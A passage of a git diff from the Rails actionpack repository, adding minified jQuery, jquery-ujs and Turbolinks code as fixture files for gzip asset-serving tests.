e=this.offsetParent||ir;e&&!it.nodeName(e,"html")&&"static"===it.css(e,"position");)e=e.offsetParent;return e||ir})}}),it.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,t){var n=/Y/.test(t);it.fn[e]=function(r){return At(this,function(e,r,i){var o=V(e);return void 0===i?o?t in o?o[t]:o.document.documentElement[r]:e[r]:void(o?o.scrollTo(n?it(o).scrollLeft():i,n?i:it(o).scrollTop()):e[r]=i)},e,r,arguments.length,null)}}),it.each(["top","left"],function(e,t){it.cssHooks[t]=N(nt.pixelPosition,function(e,n){return n?(n=tn(e,t),rn.test(n)?it(e).position()[t]+"px":n):void 0})}),it.each({Height:"height",Width:"width"},function(e,t){it.each({padding:"inner"+e,content:t,"":"outer"+e},function(n,r){it.fn[r]=function(r,i){var o=arguments.length&&(n||"boolean"!=typeof r),a=n||(r===!0||i===!0?"margin":"border");return At(this,function(t,n,r){var i;return it.isWindow(t)?t.document.documentElement["client"+e]:9===t.nodeType?(i=t.documentElement,Math.max(t.body["scroll"+e],i["scroll"+e],t.body["offset"+e],i["offset"+e],i["client"+e])):void 0===r?it.css(t,n,a):it.style(t,n,r,a)},t,o?r:void 0,o,null)}})}),it.fn.size=function(){return this.length},it.fn.andSelf=it.fn.addBack,"function"==typeof define&&define.amd&&define("jquery",[],function(){return it});var or=e.jQuery,ar=e.$;return it.noConflict=function(t){return e.$===it&&(e.$=ar),t&&e.jQuery===it&&(e.jQuery=or),it},typeof t===Et&&(e.jQuery=e.$=it),it}),function(e,t){e.rails!==t&&e.error("jquery-ujs has already been loaded!");var n,r=e(document);e.rails=n={linkClickSelector:"a[data-confirm], a[data-method], a[data-remote], a[data-disable-with], a[data-disable]",buttonClickSelector:"button[data-remote], button[data-confirm]",inputChangeSelector:"select[data-remote], input[data-remote], textarea[data-remote]",formSubmitSelector:"form",formInputClickSelector:"form input[type=submit], form input[type=image], form button[type=submit], form button:not([type])",disableSelector:"input[data-disable-with]:enabled, button[data-disable-with]:enabled, textarea[data-disable-with]:enabled, input[data-disable]:enabled, button[data-disable]:enabled, textarea[data-disable]:enabled",enableSelector:"input[data-disable-with]:disabled, button[data-disable-with]:disabled, textarea[data-disable-with]:disabled, input[data-disable]:disabled, button[data-disable]:disabled, textarea[data-disable]:disabled",requiredInputSelector:"input[name][required]:not([disabled]),textarea[name][required]:not([disabled])",fileInputSelector:"input[type=file]",linkDisableSelector:"a[data-disable-with], a[data-disable]",buttonDisableSelector:"button[data-remote][data-disable-with], button[data-remote][data-disable]",CSRFProtection:function(t){var n=e('meta[name="csrf-token"]').attr("content");n&&t.setRequestHeader("X-CSRF-Token",n)},refreshCSRFTokens:function(){var t=e("meta[name=csrf-token]").attr("content"),n=e("meta[name=csrf-param]").attr("content");e('form input[name="'+n+'"]').val(t)},fire:function(t,n,r){var i=e.Event(n);return t.trigger(i,r),i.result!==!1},confirm:function(e){return confirm(e)},ajax:function(t){return e.ajax(t)},href:function(e){return e.attr("href")},handleRemote:function(r){var i,o,a,s,l,u,c,d;if(n.fire(r,"ajax:before")){if(s=r.data("cross-domain"),l=s===t?null:s,u=r.data("with-credentials")||null,c=r.data("type")||e.ajaxSettings&&e.ajaxSettings.dataType,r.is("form")){i=r.attr("method"),o=r.attr("action"),a=r.serializeArray();var f=r.data("ujs:submit-button");f&&(a.push(f),r.data("ujs:submit-button",null))}else r.is(n.inputChangeSelector)?(i=r.data("method"),o=r.data("url"),a=r.serialize(),r.data("params")&&(a=a+"&"+r.data("params"))):r.is(n.buttonClickSelector)?(i=r.data("method")||"get",o=r.data("url"),a=r.serialize(),r.data("params")&&(a=a+"&"+r.data("params"))):(i=r.data("method"),o=n.href(r),a=r.data("params")||null);return d={type:i||"GET",data:a,dataType:c,beforeSend:function(e,i){return i.dataType===t&&e.setRequestHeader("accept","*/*;q=0.5, "+i.accepts.script),n.fire(r,"ajax:beforeSend",[e,i])?void r.trigger("ajax:send",e):!1
+},success:function(e,t,n){r.trigger("ajax:success",[e,t,n])},complete:function(e,t){r.trigger("ajax:complete",[e,t])},error:function(e,t,n){r.trigger("ajax:error",[e,t,n])},crossDomain:l},u&&(d.xhrFields={withCredentials:u}),o&&(d.url=o),n.ajax(d)}return!1},handleMethod:function(r){var i=n.href(r),o=r.data("method"),a=r.attr("target"),s=e("meta[name=csrf-token]").attr("content"),l=e("meta[name=csrf-param]").attr("content"),u=e('<form method="post" action="'+i+'"></form>'),c='<input name="_method" value="'+o+'" type="hidden" />';l!==t&&s!==t&&(c+='<input name="'+l+'" value="'+s+'" type="hidden" />'),a&&u.attr("target",a),u.hide().append(c).appendTo("body"),u.submit()},formElements:function(t,n){return t.is("form")?e(t[0].elements).filter(n):t.find(n)},disableFormElements:function(t){n.formElements(t,n.disableSelector).each(function(){n.disableFormElement(e(this))})},disableFormElement:function(e){var n,r;n=e.is("button")?"html":"val",r=e.data("disable-with"),e.data("ujs:enable-with",e[n]()),r!==t&&e[n](r),e.prop("disabled",!0)},enableFormElements:function(t){n.formElements(t,n.enableSelector).each(function(){n.enableFormElement(e(this))})},enableFormElement:function(e){var t=e.is("button")?"html":"val";e.data("ujs:enable-with")&&e[t](e.data("ujs:enable-with")),e.prop("disabled",!1)},allowAction:function(e){var t,r=e.data("confirm"),i=!1;return r?(n.fire(e,"confirm")&&(i=n.confirm(r),t=n.fire(e,"confirm:complete",[i])),i&&t):!0},blankInputs:function(t,n,r){var i,o,a=e(),s=n||"input,textarea",l=t.find(s);return l.each(function(){if(i=e(this),o=i.is("input[type=checkbox],input[type=radio]")?i.is(":checked"):i.val(),!o==!r){if(i.is("input[type=radio]")&&l.filter('input[type=radio]:checked[name="'+i.attr("name")+'"]').length)return!0;a=a.add(i)}}),a.length?a:!1},nonBlankInputs:function(e,t){return n.blankInputs(e,t,!0)},stopEverything:function(t){return e(t.target).trigger("ujs:everythingStopped"),t.stopImmediatePropagation(),!1},disableElement:function(e){var r=e.data("disable-with");e.data("ujs:enable-with",e.html()),r!==t&&e.html(r),e.bind("click.railsDisable",function(e){return n.stopEverything(e)})},enableElement:function(e){e.data("ujs:enable-with")!==t&&(e.html(e.data("ujs:enable-with")),e.removeData("ujs:enable-with")),e.unbind("click.railsDisable")}},n.fire(r,"rails:attachBindings")&&(e.ajaxPrefilter(function(e,t,r){e.crossDomain||n.CSRFProtection(r)}),r.delegate(n.linkDisableSelector,"ajax:complete",function(){n.enableElement(e(this))}),r.delegate(n.buttonDisableSelector,"ajax:complete",function(){n.enableFormElement(e(this))}),r.delegate(n.linkClickSelector,"click.rails",function(r){var i=e(this),o=i.data("method"),a=i.data("params"),s=r.metaKey||r.ctrlKey;if(!n.allowAction(i))return n.stopEverything(r);if(!s&&i.is(n.linkDisableSelector)&&n.disableElement(i),i.data("remote")!==t){if(s&&(!o||"GET"===o)&&!a)return!0;var l=n.handleRemote(i);return l===!1?n.enableElement(i):l.error(function(){n.enableElement(i)}),!1}return i.data("method")?(n.handleMethod(i),!1):void 0}),r.delegate(n.buttonClickSelector,"click.rails",function(t){var r=e(this);if(!n.allowAction(r))return n.stopEverything(t);r.is(n.buttonDisableSelector)&&n.disableFormElement(r);var i=n.handleRemote(r);return i===!1?n.enableFormElement(r):i.error(function(){n.enableFormElement(r)}),!1}),r.delegate(n.inputChangeSelector,"change.rails",function(t){var r=e(this);return n.allowAction(r)?(n.handleRemote(r),!1):n.stopEverything(t)}),r.delegate(n.formSubmitSelector,"submit.rails",function(r){var i,o,a=e(this),s=a.data("remote")!==t;if(!n.allowAction(a))return n.stopEverything(r);if(a.attr("novalidate")==t&&(i=n.blankInputs(a,n.requiredInputSelector),i&&n.fire(a,"ajax:aborted:required",[i])))return n.stopEverything(r);if(s){if(o=n.nonBlankInputs(a,n.fileInputSelector)){setTimeout(function(){n.disableFormElements(a)},13);var l=n.fire(a,"ajax:aborted:file",[o]);return l||setTimeout(function(){n.enableFormElements(a)},13),l}return n.handleRemote(a),!1}setTimeout(function(){n.disableFormElements(a)},13)}),r.delegate(n.formInputClickSelector,"click.rails",function(t){var r=e(this);if(!n.allowAction(r))return n.stopEverything(t);var i=r.attr("name"),o=i?{name:i,value:r.val()}:null;r.closest("form").data("ujs:submit-button",o)}),r.delegate(n.formSubmitSelector,"ajax:send.rails",function(t){this==t.target&&n.disableFormElements(e(this))}),r.delegate(n.formSubmitSelector,"ajax:complete.rails",function(t){this==t.target&&n.enableFormElements(e(this))}),e(function(){n.refreshCSRFTokens()}))}(jQuery),function(){var e,t,n,r,i,o,a,s,l,u,c,d,f,p,h,m,g,v,y,b,x,w,T,E,k,C,N,S,j,A,D,L,H,_,q,F,M,O,R,B,P,I,W,$,z,X,U,V,G,Y=[].indexOf||function(e){for(var t=0,n=this.length;n>t;t++)if(t in this&&this[t]===e)return t;return-1},J={}.hasOwnProperty,K=function(e,t){function n(){this.constructor=e}for(var r in t)J.call(t,r)&&(e[r]=t[r]);return n.prototype=t.prototype,e.prototype=new n,e.__super__=t.prototype,e},Q=[].slice;j={},d=10,$=!1,m=null,S=null,q=null,h=null,V=null,b=function(e){var t;return e=new n(e),B(),c(),F(e),$&&(t=z(e.absolute))?(x(t),w(e)):w(e,W)},z=function(e){var t;return t=j[e],t&&!t.transitionCacheDisabled?t:void 0},g=function(e){return null==e&&(e=!0),$=e},w=function(e,t){return null==t&&(t=function(){return function(){}}(this)),X("page:fetch",{url:e.absolute}),null!=V&&V.abort(),V=new XMLHttpRequest,V.open("GET",e.withoutHashForIE10compatibility(),!0),V.setRequestHeader("Accept","text/html, application/xhtml+xml, application/xml"),V.setRequestHeader("X-XHR-Referer",q),V.onload=function(){var n;return X("page:receive"),(n=H())?(f.apply(null,y(n)),M(),t(),X("page:load")):document.location.href=e.absolute},V.onloadend=function(){return V=null},V.onerror=function(){return document.location.href=e.absolute},V.send()},x=function(e){return null!=V&&V.abort(),f(e.title,e.body),_(e),X("page:restore")},c=function(){var e;return e=new n(m.url),j[e.absolute]={url:e.relative,body:document.body,title:document.title,positionY:window.pageYOffset,positionX:window.pageXOffset,cachedAt:(new Date).getTime(),transitionCacheDisabled:null!=document.querySelector("[data-no-transition-cache]")},p(d)},D=function(e){return null==e&&(e=d),/^[\d]+$/.test(e)?d=parseInt(e):void 0},p=function(e){var t,n,r,i,o,a;for(r=Object.keys(j),t=r.map(function(e){return j[e].cachedAt}).sort(function(e,t){return t-e}),a=[],i=0,o=r.length;o>i;i++)n=r[i],j[n].cachedAt<=t[e]&&(X("page:expire",j[n]),a.push(delete j[n]));return a},f=function(t,n,r,i){return document.title=t,document.documentElement.replaceChild(n,document.body),null!=r&&e.update(r),i&&v(),m=window.history.state,X("page:change"),X("page:update")},v=function(){var e,t,n,r,i,o,a,s,l,u,c,d;for(o=Array.prototype.slice.call(document.body.querySelectorAll('script:not([data-turbolinks-eval="false"])')),a=0,l=o.length;l>a;a++)if(i=o[a],""===(c=i.type)||"text/javascript"===c){for(t=document.createElement("script"),d=i.attributes,s=0,u=d.length;u>s;s++)e=d[s],t.setAttribute(e.name,e.value);t.appendChild(document.createTextNode(i.innerHTML)),r=i.parentNode,n=i.nextSibling,r.removeChild(i),r.insertBefore(t,n)}},P=function(e){return e.innerHTML=e.innerHTML.replace(/<noscript[\S\s]*?<\/noscript>/gi,""),e},F=function(e){return(e=new n(e)).absolute!==q?window.history.pushState({turbolinks:!0,url:e.absolute},"",e.absolute):void 0},M=function(){var e,t;return(e=V.getResponseHeader("X-XHR-Redirected-To"))?(e=new n(e),t=e.hasNoHash()?document.location.hash:"",window.history.replaceState(m,"",e.href+t)):void 0},B=function(){return q=document.location.href},R=function(){return window.history.replaceState({turbolinks:!0,url:document.location.href},"",document.location.href)},O=function(){return m=window.history.state},_=function(e){return window.scrollTo(e.positionX,e.positionY)},W=function(){return document.location.hash?document.location.href=document.location.href:window.scrollTo(0,0)},L=function(e){var t,n;return t=(null!=(n=document.cookie.match(new RegExp(e+"=(\\w+)")))?n[1].toUpperCase():void 0)||"",document.cookie=e+"=; expires=Thu, 01-Jan-70 00:00:01 GMT; path=/",t},X=function(e,t){var n;return n=document.createEvent("Events"),t&&(n.data=t),n.initEvent(e,!0,!0),document.dispatchEvent(n)},A=function(){return!X("page:before-change")},H=function(){var e,t,n,r,i,o;return t=function(){var e;return 400<=(e=V.status)&&600>e},o=function(){return V.getResponseHeader("Content-Type").match(/^(?:text\/html|application\/xhtml\+xml|application\/xml)(?:;|$)/)},r=function(e){var t,n,r,i,o;for(i=e.head.childNodes,o=[],n=0,r=i.length;r>n;n++)t=i[n],null!=("function"==typeof t.getAttribute?t.getAttribute("data-turbolinks-track"):void 0)&&o.push(t.getAttribute("src")||t.getAttribute("href"));return o},e=function(e){var t;return S||(S=r(document)),t=r(e),t.length!==S.length||i(t,S).length!==S.length},i=function(e,t){var n,r,i,o,a;for(e.length>t.length&&(o=[t,e],e=o[0],t=o[1]),a=[],r=0,i=e.length;i>r;r++)n=e[r],Y.call(t,n)>=0&&a.push(n);return a},!t()&&o()&&(n=h(V.responseText),n&&!e(n))?n:void 0},y=function(t){var n;return n=t.querySelector("title"),[null!=n?n.textContent:void 0,P(t.body),e.get(t).token,"runScripts"]},e={get:function(e){var t;return null==e&&(e=document),{node:t=e.querySelector('meta[name="csrf-token"]'),token:null!=t&&"function"==typeof t.getAttribute?t.getAttribute("content"):void 0}},update:function(e){var t;return t=this.get(),null!=t.token&&null!=e&&t.token!==e?t.node.setAttribute("content",e):void 0}},i=function(){var e,t,n,r,i,o;t=function(e){return(new DOMParser).parseFromString(e,"text/html")},e=function(e){var t;return t=document.implementation.createHTMLDocument(""),t.documentElement.innerHTML=e,t},n=function(e){var t;return t=document.implementation.createHTMLDocument(""),t.open("replace"),t.write(e),t.close(),t};try{if(window.DOMParser)return i=t("<html><body><p>test"),t}catch(a){return r=a,i=e("<html><body><p>test"),e}finally{if(1!==(null!=i&&null!=(o=i.body)?o.childNodes.length:void 0))return n}},n=function(){function e(t){return this.original=null!=t?t:document.location.href,this.original.constructor===e?this.original:void this._parse()}return e.prototype.withoutHash=function(){return this.href.replace(this.hash,"")},e.prototype.withoutHashForIE10compatibility=function(){return this.withoutHash()},e.prototype.hasNoHash=function(){return 0===this.hash.length},e.prototype._parse=function(){var e;return(null!=this.link?this.link:this.link=document.createElement("a")).href=this.original,e=this.link,this.href=e.href,this.protocol=e.protocol,this.host=e.host,this.hostname=e.hostname,this.port=e.port,this.pathname=e.pathname,this.search=e.search,this.hash=e.hash,this.origin=[this.protocol,"//",this.hostname].join(""),0!==this.port.length&&(this.origin+=":"+this.port),this.relative=[this.pathname,this.search,this.hash].join(""),this.absolute=this.href},e}(),r=function(e){function t(e){return this.link=e,this.link.constructor===t?this.link:(this.original=this.link.href,void t.__super__.constructor.apply(this,arguments))}return K(t,e),t.HTML_EXTENSIONS=["html"],t.allowExtensions=function(){var e,n,r,i;for(n=1<=arguments.length?Q.call(arguments,0):[],r=0,i=n.length;i>r;r++)e=n[r],t.HTML_EXTENSIONS.push(e);return t.HTML_EXTENSIONS},t.prototype.shouldIgnore=function(){return this._crossOrigin()||this._anchored()||this._nonHtml()||this._optOut()||this._target()},t.prototype._crossOrigin=function(){return this.origin!==(new n).origin},t.prototype._anchored=function(){var e;return(this.hash&&this.withoutHash())===(e=new n).withoutHash()||this.href===e.href+"#"},t.prototype._nonHtml=function(){return this.pathname.match(/\.[a-z]+$/g)&&!this.pathname.match(new RegExp("\\.(?:"+t.HTML_EXTENSIONS.join("|")+")?$","g"))},t.prototype._optOut=function(){var e,t;for(t=this.link;!e&&t!==document;)e=null!=t.getAttribute("data-no-turbolink"),t=t.parentNode;return e},t.prototype._target=function(){return 0!==this.link.target.length},t}(n),t=function(){function e(e){this.event=e,this.event.defaultPrevented||(this._extractLink(),this._validForTurbolinks()&&(A()||U(this.link.href),this.event.preventDefault()))}return e.installHandlerLast=function(t){return t.defaultPrevented?void 0:(document.removeEventListener("click",e.handle,!1),document.addEventListener("click",e.handle,!1))},e.handle=function(t){return new e(t)},e.prototype._extractLink=function(){var e;for(e=this.event.target;e.parentNode&&"A"!==e.nodeName;)e=e.parentNode;return"A"===e.nodeName&&0!==e.href.length?this.link=new r(e):void 0},e.prototype._validForTurbolinks=function(){return null!=this.link&&!(this.link.shouldIgnore()||this._nonStandardClick())},e.prototype._nonStandardClick=function(){return this.event.which>1||this.event.metaKey||this.event.ctrlKey||this.event.shiftKey||this.event.altKey},e}(),u=function(e){return setTimeout(e,500)},k=function(){return document.addEventListener("DOMContentLoaded",function(){return X("page:change"),X("page:update")},!0)},N=function(){return"undefined"!=typeof jQuery?jQuery(document).on("ajaxSuccess",function(e,t){return jQuery.trim(t.responseText)?X("page:update"):void 0}):void 0},C=function(e){var t,r;return(null!=(r=e.state)?r.turbolinks:void 0)?(t=j[new n(e.state.url).absolute])?(c(),x(t)):U(e.target.location.href):void 0},E=function(){return R(),O(),h=i(),document.addEventListener("click",t.installHandlerLast,!0),u(function(){return window.addEventListener("popstate",C,!1)})},T=void 0!==window.history.state||navigator.userAgent.match(/Firefox\/2[6|7]/),s=window.history&&window.history.pushState&&window.history.replaceState&&T,o=!navigator.userAgent.match(/CriOS\//),I="GET"===(G=L("request_method"))||""===G,l=s&&o&&I,a=document.addEventListener&&document.createEvent,a&&(k(),N()),l?(U=b,E()):U=function(e){return document.location.href=e},this.Turbolinks={visit:U,pagesCached:D,enableTransitionCache:g,allowLinkExtensions:r.allowExtensions,supported:l}}.call(this),function(){}.call(this); \ No newline at end of file
diff --git a/actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js.gz b/actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js.gz
new file mode 100644
index 0000000000..f62c656dc8
--- /dev/null
+++ b/actionpack/test/fixtures/public/gzip/application-a71b3024f80aea3181c09774ca17e712.js.gz
Binary files differ
diff --git a/actionpack/test/fixtures/public/gzip/foo.zoo b/actionpack/test/fixtures/public/gzip/foo.zoo
new file mode 100644
index 0000000000..1826a7660e
--- /dev/null
+++ b/actionpack/test/fixtures/public/gzip/foo.zoo
@@ -0,0 +1,4 @@
+!function(e,t){"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){function n(e){var t=e.length,n=it.type(e);return"function"===n||it.isWindow(e)?!1:1===e.nodeType&&t?!0:"array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e}function r(e,t,n){if(it.isFunction(t))return it.grep(e,function(e,r){return!!t.call(e,r,e)!==n});if(t.nodeType)return it.grep(e,function(e){return e===t!==n});if("string"==typeof t){if(ft.test(t))return it.filter(t,e,n);t=it.filter(t,e)}return it.grep(e,function(e){return it.inArray(e,t)>=0!==n})}function i(e,t){do e=e[t];while(e&&1!==e.nodeType);return e}function o(e){var t=xt[e]={};return it.each(e.match(bt)||[],function(e,n){t[n]=!0}),t}function a(){ht.addEventListener?(ht.removeEventListener("DOMContentLoaded",s,!1),e.removeEventListener("load",s,!1)):(ht.detachEvent("onreadystatechange",s),e.detachEvent("onload",s))}function s(){(ht.addEventListener||"load"===event.type||"complete"===ht.readyState)&&(a(),it.ready())}function l(e,t,n){if(void 0===n&&1===e.nodeType){var r="data-"+t.replace(Ct,"-$1").toLowerCase();if(n=e.getAttribute(r),"string"==typeof n){try{n="true"===n?!0:"false"===n?!1:"null"===n?null:+n+""===n?+n:kt.test(n)?it.parseJSON(n):n}catch(i){}it.data(e,t,n)}else n=void 0}return n}function u(e){var t;for(t in e)if(("data"!==t||!it.isEmptyObject(e[t]))&&"toJSON"!==t)return!1;return!0}function c(e,t,n,r){if(it.acceptData(e)){var i,o,a=it.expando,s=e.nodeType,l=s?it.cache:e,u=s?e[a]:e[a]&&a;if(u&&l[u]&&(r||l[u].data)||void 0!==n||"string"!=typeof t)return u||(u=s?e[a]=G.pop()||it.guid++:a),l[u]||(l[u]=s?{}:{toJSON:it.noop}),("object"==typeof t||"function"==typeof t)&&(r?l[u]=it.extend(l[u],t):l[u].data=it.extend(l[u].data,t)),o=l[u],r||(o.data||(o.data={}),o=o.data),void 0!==n&&(o[it.camelCase(t)]=n),"string"==typeof t?(i=o[t],null==i&&(i=o[it.camelCase(t)])):i=o,i}}function d(e,t,n){if(it.acceptData(e)){var r,i,o=e.nodeType,a=o?it.cache:e,s=o?e[it.expando]:it.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){it.isArray(t)?t=t.concat(it.map(t,it.camelCase)):t in r?t=[t]:(t=it.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;for(;i--;)delete r[t[i]];if(n?!u(r):!it.isEmptyObject(r))return}(n||(delete a[s].data,u(a[s])))&&(o?it.cleanData([e],!0):nt.deleteExpando||a!=a.window?delete a[s]:a[s]=null)}}}function f(){return!0}function p(){return!1}function h(){try{return ht.activeElement}catch(e){}}function m(e){var t=Mt.split("|"),n=e.createDocumentFragment();if(n.createElement)for(;t.length;)n.createElement(t.pop());return n}function g(e,t){var n,r,i=0,o=typeof e.getElementsByTagName!==Et?e.getElementsByTagName(t||"*"):typeof e.querySelectorAll!==Et?e.querySelectorAll(t||"*"):void 0;if(!o)for(o=[],n=e.childNodes||e;null!=(r=n[i]);i++)!t||it.nodeName(r,t)?o.push(r):it.merge(o,g(r,t));return void 0===t||t&&it.nodeName(e,t)?it.merge([e],o):o}function v(e){Dt.test(e.type)&&(e.defaultChecked=e.checked)}function y(e,t){return it.nodeName(e,"table")&&it.nodeName(11!==t.nodeType?t:t.firstChild,"tr")?e.getElementsByTagName("tbody")[0]||e.appendChild(e.ownerDocument.createElement("tbody")):e}function b(e){return e.type=(null!==it.find.attr(e,"type"))+"/"+e.type,e}function x(e){var t=Vt.exec(e.type);return t?e.type=t[1]:e.removeAttribute("type"),e}function w(e,t){for(var n,r=0;null!=(n=e[r]);r++)it._data(n,"globalEval",!t||it._data(t[r],"globalEval"))}function T(e,t){if(1===t.nodeType&&it.hasData(e)){var n,r,i,o=it._data(e),a=it._data(t,o),s=o.events;if(s){delete a.handle,a.events={};for(n in s)for(r=0,i=s[n].length;i>r;r++)it.event.add(t,n,s[n][r])}a.data&&(a.data=it.extend({},a.data))}}function E(e,t){var n,r,i;if(1===t.nodeType){if(n=t.nodeName.toLowerCase(),!nt.noCloneEvent&&t[it.expando]){i=it._data(t);for(r in i.events)it.removeEvent(t,r,i.handle);t.removeAttribute(it.expando)}"script"===n&&t.text!==e.text?(b(t).text=e.text,x(t)):"object"===n?(t.parentNode&&(t.outerHTML=e.outerHTML),nt.html5Clone&&e.innerHTML&&!it.trim(t.innerHTML)&&(t.innerHTML=e.innerHTML)):"input"===n&&Dt.test(e.type)?(t.defaultChecked=t.checked=e.checked,t.value!==e.value&&(t.value=e.value)):"option"===n?t.defaultSelected=t.selected=e.defaultSelected:("input"===n||"textarea"===n)&&(t.defaultValue=e.defaultValue)}}function k(t,n){var r,i=it(n.createElement(t)).appendTo(n.body),o=e.getDefaultComputedStyle&&(r=e.getDefaultComputedStyle(i[0]))?r.display:it.css(i[0],"display");return i.detach(),o}function C(e){var t=ht,n=Zt[e];return n||(n=k(e,t),"none"!==n&&n||(Qt=(Qt||it("<iframe frameborder='0' width='0' height='0'/>")).appendTo(t.documentElement),t=(Qt[0].contentWindow||Qt[0].contentDocument).document,t.write(),t.close(),n=k(e,t),Qt.detach()),Zt[e]=n),n}function N(e,t){return{get:function(){var n=e();if(null!=n)return n?void delete this.get:(this.get=t).apply(this,arguments)}}}function S(e,t){if(t in e)return t;for(var n=t.charAt(0).toUpperCase()+t.slice(1),r=t,i=pn.length;i--;)if(t=pn[i]+n,t in e)return t;return r}function j(e,t){for(var n,r,i,o=[],a=0,s=e.length;s>a;a++)r=e[a],r.style&&(o[a]=it._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&jt(r)&&(o[a]=it._data(r,"olddisplay",C(r.nodeName)))):(i=jt(r),(n&&"none"!==n||!i)&&it._data(r,"olddisplay",i?n:it.css(r,"display"))));for(a=0;s>a;a++)r=e[a],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"));return e}function A(e,t,n){var r=un.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function D(e,t,n,r,i){for(var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;4>o;o+=2)"margin"===n&&(a+=it.css(e,n+St[o],!0,i)),r?("content"===n&&(a-=it.css(e,"padding"+St[o],!0,i)),"margin"!==n&&(a-=it.css(e,"border"+St[o]+"Width",!0,i))):(a+=it.css(e,"padding"+St[o],!0,i),"padding"!==n&&(a+=it.css(e,"border"+St[o]+"Width",!0,i)));return a}function L(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=en(e),a=nt.boxSizing&&"border-box"===it.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=tn(e,t,o),(0>i||null==i)&&(i=e.style[t]),rn.test(i))return i;r=a&&(nt.boxSizingReliable()||i===e.style[t]),i=parseFloat(i)||0}return i+D(e,t,n||(a?"border":"content"),r,o)+"px"}function H(e,t,n,r,i){return new H.prototype.init(e,t,n,r,i)}function _(){return setTimeout(function(){hn=void 0}),hn=it.now()}function q(e,t){var n,r={height:e},i=0;for(t=t?1:0;4>i;i+=2-t)n=St[i],r["margin"+n]=r["padding"+n]=e;return t&&(r.opacity=r.width=e),r}function F(e,t,n){for(var r,i=(xn[t]||[]).concat(xn["*"]),o=0,a=i.length;a>o;o++)if(r=i[o].call(n,t,e))return r}function M(e,t,n){var r,i,o,a,s,l,u,c,d=this,f={},p=e.style,h=e.nodeType&&jt(e),m=it._data(e,"fxshow");n.queue||(s=it._queueHooks(e,"fx"),null==s.unqueued&&(s.unqueued=0,l=s.empty.fire,s.empty.fire=function(){s.unqueued||l()}),s.unqueued++,d.always(function(){d.always(function(){s.unqueued--,it.queue(e,"fx").length||s.empty.fire()})})),1===e.nodeType&&("height"in t||"width"in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],u=it.css(e,"display"),c="none"===u?it._data(e,"olddisplay")||C(e.nodeName):u,"inline"===c&&"none"===it.css(e,"float")&&(nt.inlineBlockNeedsLayout&&"inline"!==C(e.nodeName)?p.zoom=1:p.display="inline-block")),n.overflow&&(p.overflow="hidden",nt.shrinkWrapBlocks()||d.always(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t)if(i=t[r],gn.exec(i)){if(delete t[r],o=o||"toggle"===i,i===(h?"hide":"show")){if("show"!==i||!m||void 0===m[r])continue;h=!0}f[r]=m&&m[r]||it.style(e,r)}else u=void 0;if(it.isEmptyObject(f))"inline"===("none"===u?C(e.nodeName):u)&&(p.display=u);else{m?"hidden"in m&&(h=m.hidden):m=it._data(e,"fxshow",{}),o&&(m.hidden=!h),h?it(e).show():d.done(function(){it(e).hide()}),d.done(function(){var t;it._removeData(e,"fxshow");for(t in f)it.style(e,t,f[t])});for(r in f)a=F(h?m[r]:0,r,d),r in m||(m[r]=a.start,h&&(a.end=a.start,a.start="width"===r||"height"===r?1:0))}}function O(e,t){var n,r,i,o,a;for(n in e)if(r=it.camelCase(n),i=t[r],o=e[n],it.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),a=it.cssHooks[r],a&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}function R(e,t,n){var r,i,o=0,a=bn.length,s=it.Deferred().always(function(){delete l.elem}),l=function(){if(i)return!1;for(var t=hn||_(),n=Math.max(0,u.startTime+u.duration-t),r=n/u.duration||0,o=1-r,a=0,l=u.tweens.length;l>a;a++)u.tweens[a].run(o);return s.notifyWith(e,[u,o,n]),1>o&&l?n:(s.resolveWith(e,[u]),!1)},u=s.promise({elem:e,props:it.extend({},t),opts:it.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:hn||_(),duration:n.duration,tweens:[],createTween:function(t,n){var r=it.Tween(e,u.opts,t,n,u.opts.specialEasing[t]||u.opts.easing);return u.tweens.push(r),r},stop:function(t){var n=0,r=t?u.tweens.length:0;if(i)return this;for(i=!0;r>n;n++)u.tweens[n].run(1);return t?s.resolveWith(e,[u,t]):s.rejectWith(e,[u,t]),this}}),c=u.props;for(O(c,u.opts.specialEasing);a>o;o++)if(r=bn[o].call(u,e,c,u.opts))return r;return it.map(c,F,u),it.isFunction(u.opts.start)&&u.opts.start.call(e,u),it.fx.timer(it.extend(l,{elem:e,anim:u,queue:u.opts.queue})),u.progress(u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always)}function B(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(bt)||[];if(it.isFunction(n))for(;r=o[i++];)"+"===r.charAt(0)?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function P(e,t,n,r){function i(s){var l;return o[s]=!0,it.each(e[s]||[],function(e,s){var u=s(t,n,r);return"string"!=typeof u||a||o[u]?a?!(l=u):void 0:(t.dataTypes.unshift(u),i(u),!1)}),l}var o={},a=e===zn;return i(t.dataTypes[0])||!o["*"]&&i("*")}function I(e,t){var n,r,i=it.ajaxSettings.flatOptions||{};for(r in t)void 0!==t[r]&&((i[r]?e:n||(n={}))[r]=t[r]);return n&&it.extend(!0,e,n),e}function W(e,t,n){for(var r,i,o,a,s=e.contents,l=e.dataTypes;"*"===l[0];)l.shift(),void 